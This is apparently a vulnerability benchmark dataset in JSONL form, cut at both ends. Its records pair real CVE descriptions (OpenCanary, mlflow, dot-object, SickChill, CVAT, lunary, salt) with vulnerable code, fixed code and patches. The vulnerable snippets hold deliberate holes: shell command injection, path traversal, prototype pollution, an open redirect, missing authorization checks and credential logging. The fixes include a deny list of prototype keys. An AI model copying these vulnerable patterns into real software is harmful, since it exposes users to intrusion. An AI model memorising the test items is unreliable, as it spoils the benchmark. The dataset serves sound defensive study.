\t\t\t\tcontents = []byte(change.Contents)\n \t\t\t\tif change.Encoding == \"base64\" {\n@@ -19,18 +22,14 @@\n \t\t\t\t\t\tfmt.Printf(\"Could not decode base64 asset: %v\", err)\n \t\t\t\t\t}\n \t\t\t\t}\n-\t\t\t\tif len(change.File) > 0 && change.File[0:1] == \"/\" {\n-\t\t\t\t\t// Make sure path is relative to project\n-\t\t\t\t\tchange.File = \".\" + change.File\n-\t\t\t\t}\n \t\t\t\terr = os.WriteFile(change.File, contents, os.ModePerm)\n \t\t\t\tif err != nil {\n \t\t\t\t\tfmt.Printf(\"Unable to write to local file: %v\", err)\n \t\t\t\t}\n \t\t\t}\n+\n \t\t\tif change.Action == \"delete\" {\n-\t\t\t\tcurrentDir, _ := os.Getwd()\n-\t\t\t\terr = os.Remove(filepath.Join(currentDir, change.File))\n+\t\t\t\terr = os.Remove(change.File)\n \t\t\t\tif err != nil {\n \t\t\t\t\tfmt.Printf(\"Unable to delete local file: %v\", err)\n \t\t\t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-48911", "cve_description": "OpenCanary, a multi-protocol network honeypot, directly executed commands taken from its config file. Prior to version 0.9.4, where the config file is stored in an unprivileged user directory but the daemon is executed by root, it\u2019s possible for the unprivileged user to change the config file and escalate permissions when root later runs the daemon. Version 0.9.4 contains a fix for the issue.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/thinkst/opencanary", "patch_url": ["https://github.com/thinkst/opencanary/commit/2c11575b1a3dd8b0df26a879ba856c0aa350c049"], "programing_language": "Python", "vul_func": [{"id": "vul_py_63_1", "commit": "d3956bc", "file_path": "opencanary/config.py", "start_line": 52, "end_line": 84, "snippet": "    def __init__(self, configfile=SETTINGS):\n        self.__config = None\n        self.__configfile = configfile\n\n        files = [\n            configfile,\n            \"%s/.%s\" % (expanduser(\"~\"), configfile),\n            \"/etc/opencanaryd/%s\" % configfile,\n        ]\n        print(\n            \"** We hope you enjoy using OpenCanary. For more open source Canary goodness, head over to canarytokens.org. **\"\n        )\n        for fname in files:\n            try:\n                with open(fname, \"r\") as f:\n                    print(\"[-] Using config file: %s\" % fname)\n                    self.__config = json.load(f)\n                    self.__config = expand_vars(self.__config)\n                return\n            except IOError as e:\n                print(\"[-] Failed to open %s for reading (%s)\" % (fname, e))\n            except ValueError as e:\n                print(\"[-] Failed to decode json from %s (%s)\" % (fname, e))\n                subprocess.call(\n                    \"cp -r %s /var/tmp/config-err-$(date +%%s)\" % fname, shell=True\n                )\n            except Exception as e:\n                print(\"[-] An error occurred loading %s (%s)\" % (fname, e))\n        if self.__config is None:\n            print(\n                'No config file found. Please create one with \"opencanaryd --copyconfig\"'\n            )\n            sys.exit(1)"}, {"id": "vul_py_63_2", "commit": "d3956bc", "file_path": "opencanary/modules/portscan.py", "start_line": 70, "end_line": 71, "snippet": "def detectNFTables():\n    return b\"nf_tables\" in subprocess.check_output([\"iptables\", \"--version\"])"}], "fix_func": [{"id": "fix_py_63_1", "commit": "2c11575", "file_path": "opencanary/config.py", "start_line": 52, "end_line": 87, "snippet": "    def __init__(self, configfile=SETTINGS):\n        self.__config = None\n        self.__configfile = configfile\n\n        files = [\n            \"/etc/opencanaryd/%s\" % configfile,\n            \"%s/.%s\" % (expanduser(\"~\"), configfile),\n            configfile,\n        ]\n        print(\n            \"** We hope you enjoy using OpenCanary. For more open source Canary goodness, head over to canarytokens.org. **\"\n        )\n        for fname in files:\n            try:\n                with open(fname, \"r\") as f:\n                    print(\"[-] Using config file: %s\" % fname)\n                    self.__config = json.load(f)\n                    self.__config = expand_vars(self.__config)\n                if fname is configfile:\n                    print(\n                        \"[-] Warning, making use of the configuration file in the immediate directory is not recommended! Suggested locations: %s\"\n                        % \", \".join(files[:2])\n                    )\n                return\n            except IOError as e:\n                print(\"[-] Failed to open %s for reading (%s)\" % (fname, e))\n            except ValueError as e:\n                print(\"[-] Failed to decode json from %s (%s)\" % (fname, e))\n                safe_exec(\"cp\", [\"-r\", fname, \"/var/tmp/config-err-$(date +%%s)\"])\n            except Exception as e:\n                print(\"[-] An error occurred loading %s (%s)\" % (fname, e))\n        if self.__config is None:\n            print(\n                'No config file found. Please create one with \"opencanaryd --copyconfig\"'\n            )\n            sys.exit(1)"}, {"id": "fix_py_63_2", "commit": "2c11575", "file_path": "opencanary/modules/portscan.py", "start_line": 70, "end_line": 71, "snippet": "def detectNFTables():\n    return b\"nf_tables\" in safe_exec(\"iptables\", [\"--version\"])"}], "vul_patch": "--- a/opencanary/config.py\n+++ b/opencanary/config.py\n@@ -3,9 +3,9 @@\n         self.__configfile = configfile\n \n         files = [\n+            \"/etc/opencanaryd/%s\" % configfile,\n+            \"%s/.%s\" % (expanduser(\"~\"), configfile),\n             configfile,\n-            \"%s/.%s\" % (expanduser(\"~\"), configfile),\n-            \"/etc/opencanaryd/%s\" % configfile,\n         ]\n         print(\n             \"** We hope you enjoy using OpenCanary. For more open source Canary goodness, head over to canarytokens.org. **\"\n@@ -16,14 +16,17 @@\n                     print(\"[-] Using config file: %s\" % fname)\n                     self.__config = json.load(f)\n                     self.__config = expand_vars(self.__config)\n+                if fname is configfile:\n+                    print(\n+                        \"[-] Warning, making use of the configuration file in the immediate directory is not recommended! Suggested locations: %s\"\n+                        % \", \".join(files[:2])\n+                    )\n                 return\n             except IOError as e:\n                 print(\"[-] Failed to open %s for reading (%s)\" % (fname, e))\n             except ValueError as e:\n                 print(\"[-] Failed to decode json from %s (%s)\" % (fname, e))\n-                subprocess.call(\n-                    \"cp -r %s /var/tmp/config-err-$(date +%%s)\" % fname, shell=True\n-                )\n+                safe_exec(\"cp\", [\"-r\", fname, \"/var/tmp/config-err-$(date +%%s)\"])\n             except Exception as e:\n                 print(\"[-] An error occurred loading %s (%s)\" % (fname, e))\n         if self.__config is None:\n\n--- a/opencanary/modules/portscan.py\n+++ b/opencanary/modules/portscan.py\n@@ -1,2 +1,2 @@\n def detectNFTables():\n-    return b\"nf_tables\" in subprocess.check_output([\"iptables\", \"--version\"])\n+    return b\"nf_tables\" in safe_exec(\"iptables\", [\"--version\"])\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-48911:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/opencanary\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2024-48911/bin/python  hand_test.py\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-6753", "cve_description": "Path Traversal in GitHub repository mlflow/mlflow prior to 2.9.2.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mlflow/mlflow", "patch_url": ["https://github.com/mlflow/mlflow/commit/1c6309f884798fbf56017a3cc808016869ee8de4"], "programing_language": "Python", "vul_func": [{"id": "vul_py_395_1", "commit": "f01767aefd44a76cc5c3a9852ca50f6757672946", "file_path": "mlflow/data/http_dataset_source.py", "start_line": 44, "end_line": 87, "snippet": "    def load(self, dst_path=None) -> str:\n        \"\"\"\n        Downloads the dataset source to the local filesystem.\n\n        :param dst_path: Path of the local filesystem destination directory to which to download the\n                         dataset source. If the directory does not exist, it is created. If\n                         unspecified, the dataset source is downloaded to a new uniquely-named\n                         directory on the local filesystem.\n        :return: The path to the downloaded dataset source on the local filesystem.\n        \"\"\"\n        resp = cloud_storage_http_request(\n            method=\"GET\",\n            url=self.url,\n            stream=True,\n        )\n        augmented_raise_for_status(resp)\n\n        path = urlparse(self.url).path\n        content_disposition = resp.headers.get(\"Content-Disposition\")\n        if content_disposition is not None and (\n            file_name := next(re.finditer(r\"filename=(.+)\", content_disposition), None)\n        ):\n            # NB: If the filename is quoted, unquote it\n            basename = file_name[1].strip(\"'\\\"\")\n            if _is_path(basename):\n                raise MlflowException.invalid_parameter_value(\n                    f\"Invalid filename in Content-Disposition header: {basename}. \"\n                    \"It must be a file name, not a path.\"\n                )\n        elif path is not None and len(posixpath.basename(path)) > 0:\n            basename = posixpath.basename(path)\n        else:\n            basename = \"dataset_source\"\n\n        if dst_path is None:\n            dst_path = create_tmp_dir()\n\n        dst_path = os.path.join(dst_path, basename)\n        with open(dst_path, \"wb\") as f:\n            chunk_size = 1024 * 1024  # 1 MB\n            for chunk in resp.iter_content(chunk_size=chunk_size):\n                f.write(chunk)\n\n        return dst_path"}], "fix_func": [{"id": "fix_py_395_1", "commit": "1c6309f884798fbf56017a3cc808016869ee8de4", "file_path": "mlflow/data/http_dataset_source.py", "start_line": 60, "end_line": 91, "snippet": "    def load(self, dst_path=None) -> str:\n        \"\"\"\n        Downloads the dataset source to the local filesystem.\n\n        :param dst_path: Path of the local filesystem destination directory to which to download the\n                         dataset source. If the directory does not exist, it is created. If\n                         unspecified, the dataset source is downloaded to a new uniquely-named\n                         directory on the local filesystem.\n        :return: The path to the downloaded dataset source on the local filesystem.\n        \"\"\"\n        resp = cloud_storage_http_request(\n            method=\"GET\",\n            url=self.url,\n            stream=True,\n        )\n        augmented_raise_for_status(resp)\n\n        basename = self._extract_filename(resp)\n\n        if not basename:\n            basename = \"dataset_source\"\n\n        if dst_path is None:\n            dst_path = create_tmp_dir()\n\n        dst_path = os.path.join(dst_path, basename)\n        with open(dst_path, \"wb\") as f:\n            chunk_size = 1024 * 1024  # 1 MB\n            for chunk in resp.iter_content(chunk_size=chunk_size):\n                f.write(chunk)\n\n        return dst_path"}], "vul_patch": "--- a/mlflow/data/http_dataset_source.py\n+++ b/mlflow/data/http_dataset_source.py\n@@ -15,21 +15,9 @@\n         )\n         augmented_raise_for_status(resp)\n \n-        path = urlparse(self.url).path\n-        content_disposition = resp.headers.get(\"Content-Disposition\")\n-        if content_disposition is not None and (\n-            file_name := next(re.finditer(r\"filename=(.+)\", content_disposition), None)\n-        ):\n-            # NB: If the filename is quoted, unquote it\n-            basename = file_name[1].strip(\"'\\\"\")\n-            if _is_path(basename):\n-                raise MlflowException.invalid_parameter_value(\n-                    f\"Invalid filename in Content-Disposition header: {basename}. \"\n-                    \"It must be a file name, not a path.\"\n-                )\n-        elif path is not None and len(posixpath.basename(path)) > 0:\n-            basename = posixpath.basename(path)\n-        else:\n+        basename = self._extract_filename(resp)\n+\n+        if not basename:\n             basename = \"dataset_source\"\n \n         if dst_path is None:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10793", "cve_description": "dot-object before 2.1.3 is vulnerable to Prototype Pollution. The set function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/rhalff/dot-object", "patch_url": ["https://github.com/rhalff/dot-object/commit/f76cff5fe6d01d30ce110d8f454db2e5bd28a7de"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_136_1", "commit": "ee628c2", "file_path": "index.js", "start_line": 48, "end_line": 53, "snippet": "function parsePath (path, sep) {\n  if (path.indexOf('[') >= 0) {\n    path = path.replace(/\\[/g, '.').replace(/]/g, '')\n  }\n  return path.split(sep)\n}"}, {"id": "vul_js_136_2", "commit": "ee628c2", "file_path": "src/dot-object.js", "start_line": 48, "end_line": 53, "snippet": "function parsePath (path, sep) {\n  if (path.indexOf('[') >= 0) {\n    path = path.replace(/\\[/g, '.').replace(/]/g, '')\n  }\n  return path.split(sep)\n}"}], "fix_func": [{"id": "fix_js_136_1", "commit": "f76cff5", "file_path": "index.js", "start_line": 48, "end_line": 64, "snippet": "const blacklist = ['__proto__', 'prototype', 'constructor']\n\nfunction parsePath (path, sep) {\n  if (path.indexOf('[') >= 0) {\n    path = path.replace(/\\[/g, '.').replace(/]/g, '')\n  }\n\n  const parts = path.split(sep)\n\n  const check = parts.filter(part => blacklist.indexOf(part) === -1)\n\n  if (check.length !== parts.length) {\n    throw Error('Refusing to update blacklisted property ' + path)\n  }\n\n  return parts\n}"}, {"id": "fix_js_136_2", "commit": "f76cff5", "file_path": "src/dot-object.js", "start_line": 48, "end_line": 64, "snippet": "const blacklist = ['__proto__', 'prototype', 'constructor']\n\nfunction parsePath (path, sep) {\n  if (path.indexOf('[') >= 0) {\n    path = path.replace(/\\[/g, '.').replace(/]/g, '')\n  }\n\n  const parts = path.split(sep)\n\n  const check = parts.filter(part => blacklist.indexOf(part) === -1)\n\n  if (check.length !== parts.length) {\n    throw Error('Refusing to update blacklisted property ' + path)\n  }\n\n  return parts\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,6 +1,17 @@\n+const blacklist = ['__proto__', 'prototype', 'constructor']\n+\n function parsePath (path, sep) {\n   if (path.indexOf('[') >= 0) {\n     path = path.replace(/\\[/g, '.').replace(/]/g, '')\n   }\n-  return path.split(sep)\n+\n+  const parts = path.split(sep)\n+\n+  const check = parts.filter(part => blacklist.indexOf(part) === -1)\n+\n+  if (check.length !== parts.length) {\n+    throw Error('Refusing to update blacklisted property ' + path)\n+  }\n+\n+  return parts\n }\n\n--- a/src/dot-object.js\n+++ b/src/dot-object.js\n@@ -1,6 +1,17 @@\n+const blacklist = ['__proto__', 'prototype', 'constructor']\n+\n function parsePath (path, sep) {\n   if (path.indexOf('[') >= 0) {\n     path = path.replace(/\\[/g, '.').replace(/]/g, '')\n   }\n-  return path.split(sep)\n+\n+  const parts = path.split(sep)\n+\n+  const check = parts.filter(part => blacklist.indexOf(part) === -1)\n+\n+  if (check.length !== parts.length) {\n+    throw Error('Refusing to update blacklisted property ' + path)\n+  }\n+\n+  return parts\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-53995", "cve_description": "SickChill is an automatic video library manager for TV shows. A user-controlled `login` endpoint's `next_` parameter takes arbitrary content. Prior to commit c7128a8946c3701df95c285810eb75b2de18bf82, an authenticated attacker may use this to redirect the user to arbitrary destinations, leading to open redirect. Commit c7128a8946c3701df95c285810eb75b2de18bf82 changes the login page to redirect to `settings.DEFAULT_PAGE` instead of to the `next` parameter.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/SickChill/sickchill", "patch_url": ["https://github.com/SickChill/sickchill/commit/c7128a8946c3701df95c285810eb75b2de18bf82"], "programing_language": "Python", "vul_func": [{"id": "vul_py_270_1", "commit": "fc3c53a", "file_path": "sickchill/views/authentication.py", "start_line": 18, "end_line": 32, "snippet": "    def post(self, next_=None):\n        notifiers.notify_login(self.request.remote_ip)\n        global login_error\n\n        if self.get_body_argument(\"username\", None) == settings.WEB_USERNAME and self.get_body_argument(\"password\", None) == settings.WEB_PASSWORD:\n            login_error = \"\"\n            remember_me = config.checkbox_to_value(self.get_body_argument(\"remember_me\", \"0\"))\n            self.set_secure_cookie(\"sickchill_user\", settings.API_KEY, expires_days=(None, 30)[remember_me])\n            logger.info(_(\"User logged into the SickChill web interface\"))\n        else:\n            logger.warning(_(\"User attempted a failed login to the SickChill web interface from IP: \") + self.request.remote_ip)\n            login_error = _(\"Incorrect username or password! Both username and password are case sensitive!\")\n\n        next_ = self.get_query_argument(\"next\", next_)\n        self.redirect(next_ or \"/\" + settings.DEFAULT_PAGE + \"/\")"}], "fix_func": [{"id": "fix_py_270_1", "commit": "c7128a8946c3701df95c285810eb75b2de18bf82", "file_path": "sickchill/views/authentication.py", "start_line": 18, "end_line": 31, "snippet": "    def post(self, next_=None):\n        notifiers.notify_login(self.request.remote_ip)\n        global login_error\n\n        if self.get_body_argument(\"username\", None) == settings.WEB_USERNAME and self.get_body_argument(\"password\", None) == settings.WEB_PASSWORD:\n            login_error = \"\"\n            remember_me = config.checkbox_to_value(self.get_body_argument(\"remember_me\", \"0\"))\n            self.set_secure_cookie(\"sickchill_user\", settings.API_KEY, expires_days=(None, 30)[remember_me])\n            logger.info(_(\"User logged into the SickChill web interface\"))\n        else:\n            logger.warning(_(\"User attempted a failed login to the SickChill web interface from IP: \") + self.request.remote_ip)\n            login_error = _(\"Incorrect username or password! Both username and password are case sensitive!\")\n\n        self.redirect(\"/\" + settings.DEFAULT_PAGE + \"/\")"}], "vul_patch": "--- a/sickchill/views/authentication.py\n+++ b/sickchill/views/authentication.py\n@@ -11,5 +11,4 @@\n             logger.warning(_(\"User attempted a failed login to the SickChill web interface from IP: \") + self.request.remote_ip)\n             login_error = _(\"Incorrect username or password! Both username and password are case sensitive!\")\n \n-        next_ = self.get_query_argument(\"next\", next_)\n-        self.redirect(next_ or \"/\" + settings.DEFAULT_PAGE + \"/\")\n+        self.redirect(\"/\" + settings.DEFAULT_PAGE + \"/\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-45393", "cve_description": "Computer Vision Annotation Tool (CVAT) is an interactive video and image annotation tool for computer vision. An attacker with a CVAT account can access webhook delivery information for any webhook registered on the CVAT instance, including that of other users. For each delivery, this contains information about the event that caused the delivery, typically including full details about the object on which an action was performed (such as the task for an \"update:task\" event), and the user who performed the action. In addition, the attacker can redeliver any past delivery of any webhook, and trigger a ping event for any webhook. Upgrade to CVAT 2.18.0 or any later version.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/cvat-ai/cvat", "patch_url": ["https://github.com/cvat-ai/cvat/commit/0fafb797fdf022fb83ce81c6405ba19b583a236f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_109_1", "commit": "88ce0a4", "file_path": "cvat/apps/webhooks/permissions.py", "start_line": 52, "end_line": 72, "snippet": "    def get_scopes(request, view, obj):\n        Scopes = __class__.Scopes\n        scope = {\n            ('create', 'POST'): Scopes.CREATE,\n            ('destroy', 'DELETE'): Scopes.DELETE,\n            ('partial_update', 'PATCH'): Scopes.UPDATE,\n            ('update', 'PUT'): Scopes.UPDATE,\n            ('list', 'GET'): Scopes.LIST,\n            ('retrieve', 'GET'): Scopes.VIEW,\n        }.get((view.action, request.method))\n\n        scopes = []\n        if scope == Scopes.CREATE:\n            webhook_type = request.data.get('type')\n            if webhook_type in [m.value for m in WebhookTypeChoice]:\n                scope = Scopes(str(scope) + f'@{webhook_type}')\n            scopes.append(scope)\n        elif scope in [Scopes.UPDATE, Scopes.DELETE, Scopes.LIST, Scopes.VIEW]:\n            scopes.append(scope)\n\n        return scopes"}], "fix_func": [{"id": "fix_py_109_1", "commit": "0fafb79", "file_path": "cvat/apps/webhooks/permissions.py", "start_line": 52, "end_line": 76, "snippet": "    def get_scopes(request, view, obj):\n        Scopes = __class__.Scopes\n        scope = {\n            ('create', 'POST'): Scopes.CREATE,\n            ('destroy', 'DELETE'): Scopes.DELETE,\n            ('partial_update', 'PATCH'): Scopes.UPDATE,\n            ('update', 'PUT'): Scopes.UPDATE,\n            ('list', 'GET'): Scopes.LIST,\n            ('retrieve', 'GET'): Scopes.VIEW,\n            ('ping', 'POST'): Scopes.UPDATE,\n            ('deliveries', 'GET'): Scopes.VIEW,\n            ('retrieve_delivery', 'GET'): Scopes.VIEW,\n            ('redelivery', 'POST'): Scopes.UPDATE,\n        }.get((view.action, request.method))\n\n        scopes = []\n        if scope == Scopes.CREATE:\n            webhook_type = request.data.get('type')\n            if webhook_type in [m.value for m in WebhookTypeChoice]:\n                scope = Scopes(str(scope) + f'@{webhook_type}')\n            scopes.append(scope)\n        elif scope in [Scopes.UPDATE, Scopes.DELETE, Scopes.LIST, Scopes.VIEW]:\n            scopes.append(scope)\n\n        return scopes"}], "vul_patch": "--- a/cvat/apps/webhooks/permissions.py\n+++ b/cvat/apps/webhooks/permissions.py\n@@ -7,6 +7,10 @@\n             ('update', 'PUT'): Scopes.UPDATE,\n             ('list', 'GET'): Scopes.LIST,\n             ('retrieve', 'GET'): Scopes.VIEW,\n+            ('ping', 'POST'): Scopes.UPDATE,\n+            ('deliveries', 'GET'): Scopes.VIEW,\n+            ('retrieve_delivery', 'GET'): Scopes.VIEW,\n+            ('redelivery', 'POST'): Scopes.UPDATE,\n         }.get((view.action, request.method))\n \n         scopes = []\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-1741", "cve_description": "lunary-ai/lunary version 1.0.1 is vulnerable to improper authorization, allowing removed members to read, create, modify, and delete prompt templates using an old authorization token. Despite being removed from an organization, these members can still perform operations on prompt templates by sending HTTP requests with their previously captured authorization token. This issue exposes organizations to unauthorized access and manipulation of sensitive template data.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/lunary-ai/lunary", "patch_url": ["https://github.com/lunary-ai/lunary/commit/d8e2e73efd53ab4e92cf47bbf4b639a9f08853d2"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_187_1", "commit": "ab440abf038eb72122349d9b6860ea5aa7a78de1", "file_path": "packages/backend/src/api/v1/auth/utils.ts", "start_line": 109, "end_line": 173, "snippet": "export async function authMiddleware(ctx: Context, next: Next) {\n  ctx.state.projectId = ctx.request?.query?.projectId as string\n\n  const isPublicRoute = publicRoutes.some((route) =>\n    typeof route === \"string\" ? route === ctx.path : route.test(ctx.path),\n  )\n\n  const bearer = ctx.request?.headers?.authorization?.split(\" \")[1] as string\n  const apiKey = ctx.request?.headers?.[\"x-api-key\"] as string\n\n  const key = bearer || apiKey\n\n  // For routes like signup, login, etc\n  if (isPublicRoute && !key) {\n    await next()\n    return\n  }\n  // Check if API key is valid\n  // Support passing as bearer because legacy SDKs did that\n  else if (validateUUID(key)) {\n    console.log(\"key\", key)\n\n    const { type, projectId, orgId } = await checkApiKey(ctx, key as string)\n    console.log({ type, projectId, orgId })\n\n    ctx.state.projectId = projectId\n    ctx.state.orgId = orgId\n\n    if (type === \"public\" && !isPublicRoute) {\n      ctx.throw(401, \"This route requires a private API key\")\n    }\n\n    if (type == \"private\") {\n      ctx.state.privateKey = true\n    }\n  } else {\n    // Check if JWT is valid\n    try {\n      if (!bearer) {\n        throw new Error(\"No bearer token provided.\")\n      }\n      const { payload } = await verifyJwt<SessionData>(key)\n\n      ctx.state.userId = payload.userId\n      ctx.state.orgId = payload.orgId\n\n      if (ctx.state.projectId) {\n        // Check if user has access to project\n\n        const [project] = await sql`\n        select * from account_project where account_id = ${ctx.state.userId} and project_id = ${ctx.state.projectId}\n      `\n\n        if (!project) {\n          throw new Error(\"Project not found\")\n        }\n      }\n    } catch (error) {\n      console.error(error)\n      ctx.throw(401, \"Invalid access token\")\n    }\n  }\n\n  await next()\n}"}], "fix_func": [{"id": "fix_js_187_1", "commit": "d8e2e73efd53ab4e92cf47bbf4b639a9f08853d2", "file_path": "packages/backend/src/api/v1/auth/utils.ts", "start_line": 109, "end_line": 176, "snippet": "export async function authMiddleware(ctx: Context, next: Next) {\n  ctx.state.projectId = ctx.request?.query?.projectId as string\n\n  const isPublicRoute = publicRoutes.some((route) =>\n    typeof route === \"string\" ? route === ctx.path : route.test(ctx.path),\n  )\n\n  const bearer = ctx.request?.headers?.authorization?.split(\" \")[1] as string\n  const apiKey = ctx.request?.headers?.[\"x-api-key\"] as string\n\n  const key = bearer || apiKey\n\n  // For routes like signup, login, etc\n  if (isPublicRoute && !key) {\n    await next()\n    return\n  }\n  // Check if API key is valid\n  // Support passing as bearer because legacy SDKs did that\n  else if (validateUUID(key)) {\n    const { type, projectId, orgId } = await checkApiKey(ctx, key as string)\n\n    ctx.state.projectId = projectId\n    ctx.state.orgId = orgId\n\n    if (type === \"public\" && !isPublicRoute) {\n      ctx.throw(401, \"This route requires a private API key\")\n    }\n\n    if (type == \"private\") {\n      ctx.state.privateKey = true\n    }\n  } else {\n    // Check if JWT is valid\n    try {\n      if (!bearer) {\n        throw new Error(\"No bearer token provided.\")\n      }\n      const { payload } = await verifyJwt<SessionData>(key)\n\n      ctx.state.userId = payload.userId\n      ctx.state.orgId = payload.orgId\n\n      const [user] =\n        await sql`select * from account where id = ${ctx.state.userId}`\n      if (!user) {\n        ctx.throw(401, \"This account no longer exists\")\n      }\n\n      if (ctx.state.projectId) {\n        // Check if user has access to project\n\n        const [project] = await sql`\n          select * from account_project where account_id = ${ctx.state.userId} and project_id = ${ctx.state.projectId}\n        `\n\n        if (!project) {\n          throw new Error(\"Project not found\")\n        }\n      }\n    } catch (error) {\n      console.error(error)\n      ctx.throw(401, \"Invalid access token\")\n    }\n  }\n\n  await next()\n}"}], "vul_patch": "--- a/packages/backend/src/api/v1/auth/utils.ts\n+++ b/packages/backend/src/api/v1/auth/utils.ts\n@@ -18,10 +18,7 @@\n   // Check if API key is valid\n   // Support passing as bearer because legacy SDKs did that\n   else if (validateUUID(key)) {\n-    console.log(\"key\", key)\n-\n     const { type, projectId, orgId } = await checkApiKey(ctx, key as string)\n-    console.log({ type, projectId, orgId })\n \n     ctx.state.projectId = projectId\n     ctx.state.orgId = orgId\n@@ -44,12 +41,18 @@\n       ctx.state.userId = payload.userId\n       ctx.state.orgId = payload.orgId\n \n+      const [user] =\n+        await sql`select * from account where id = ${ctx.state.userId}`\n+      if (!user) {\n+        ctx.throw(401, \"This account no longer exists\")\n+      }\n+\n       if (ctx.state.projectId) {\n         // Check if user has access to project\n \n         const [project] = await sql`\n-        select * from account_project where account_id = ${ctx.state.userId} and project_id = ${ctx.state.projectId}\n-      `\n+          select * from account_project where account_id = ${ctx.state.userId} and project_id = ${ctx.state.projectId}\n+        `\n \n         if (!project) {\n           throw new Error(\"Project not found\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-6918", "cve_description": "salt before 2015.5.5 leaks git usernames and passwords to the log.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/saltstack/salt", "patch_url": ["https://github.com/saltstack/salt/commit/28aa9b105804ff433d8f663b2f9b804f2b75495a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_307_1", "commit": "679ba5e", "file_path": "salt/modules/git.py", "start_line": 25, "end_line": 95, "snippet": "def _git_run(cmd, cwd=None, runas=None, identity=None, **kwargs):\n    '''\n    simple, throw an exception with the error message on an error return code.\n\n    this function may be moved to the command module, spliced with\n    'cmd.run_all', and used as an alternative to 'cmd.run_all'. Some\n    commands don't return proper retcodes, so this can't replace 'cmd.run_all'.\n    '''\n    env = {}\n\n    if identity:\n        stderrs = []\n\n        # if the statefile provides multiple identities, they need to be tried\n        # (but also allow a string instead of a list)\n        if not isinstance(identity, list):\n            # force it into a list\n            identity = [identity]\n\n        # try each of the identities, independently\n        for id_file in identity:\n            env = {\n                'GIT_IDENTITY': id_file\n            }\n\n            # copy wrapper to area accessible by ``runas`` user\n            # currently no suppport in windows for wrapping git ssh\n            if not utils.is_windows():\n                ssh_id_wrapper = os.path.join(utils.templates.TEMPLATE_DIRNAME,\n                                              'git/ssh-id-wrapper')\n                tmp_file = utils.mkstemp()\n                utils.files.copyfile(ssh_id_wrapper, tmp_file)\n                os.chmod(tmp_file, 0o500)\n                os.chown(tmp_file, __salt__['file.user_to_uid'](runas), -1)\n                env['GIT_SSH'] = tmp_file\n\n            try:\n                result = __salt__['cmd.run_all'](cmd,\n                                                 cwd=cwd,\n                                                 runas=runas,\n                                                 env=env,\n                                                 python_shell=False,\n                                                 **kwargs)\n            finally:\n                if 'GIT_SSH' in env:\n                    os.remove(env['GIT_SSH'])\n\n            # if the command was successful, no need to try additional IDs\n            if result['retcode'] == 0:\n                return result['stdout']\n            else:\n                stderrs.append(result['stderr'])\n\n        # we've tried all IDs and still haven't passed, so error out\n        raise CommandExecutionError(\"\\n\\n\".join(stderrs))\n\n    else:\n        result = __salt__['cmd.run_all'](cmd,\n                                         cwd=cwd,\n                                         runas=runas,\n                                         env=env,\n                                         python_shell=False,\n                                         **kwargs)\n        retcode = result['retcode']\n\n        if retcode == 0:\n            return result['stdout']\n        else:\n            raise CommandExecutionError(\n                'Command {0!r} failed. Stderr: {1!r}'.format(cmd,\n                                                             result['stderr']))"}], "fix_func": [{"id": "fix_py_307_1", "commit": "28aa9b105804ff433d8f663b2f9b804f2b75495a", "file_path": "salt/modules/git.py", "start_line": 26, "end_line": 99, "snippet": "def _git_run(cmd, cwd=None, runas=None, identity=None, **kwargs):\n    '''\n    simple, throw an exception with the error message on an error return code.\n\n    this function may be moved to the command module, spliced with\n    'cmd.run_all', and used as an alternative to 'cmd.run_all'. Some\n    commands don't return proper retcodes, so this can't replace 'cmd.run_all'.\n    '''\n    env = {}\n\n    if identity:\n        stderrs = []\n\n        # if the statefile provides multiple identities, they need to be tried\n        # (but also allow a string instead of a list)\n        if not isinstance(identity, list):\n            # force it into a list\n            identity = [identity]\n\n        # try each of the identities, independently\n        for id_file in identity:\n            env = {\n                'GIT_IDENTITY': id_file\n            }\n\n            # copy wrapper to area accessible by ``runas`` user\n            # currently no suppport in windows for wrapping git ssh\n            if not utils.is_windows():\n                ssh_id_wrapper = os.path.join(utils.templates.TEMPLATE_DIRNAME,\n                                              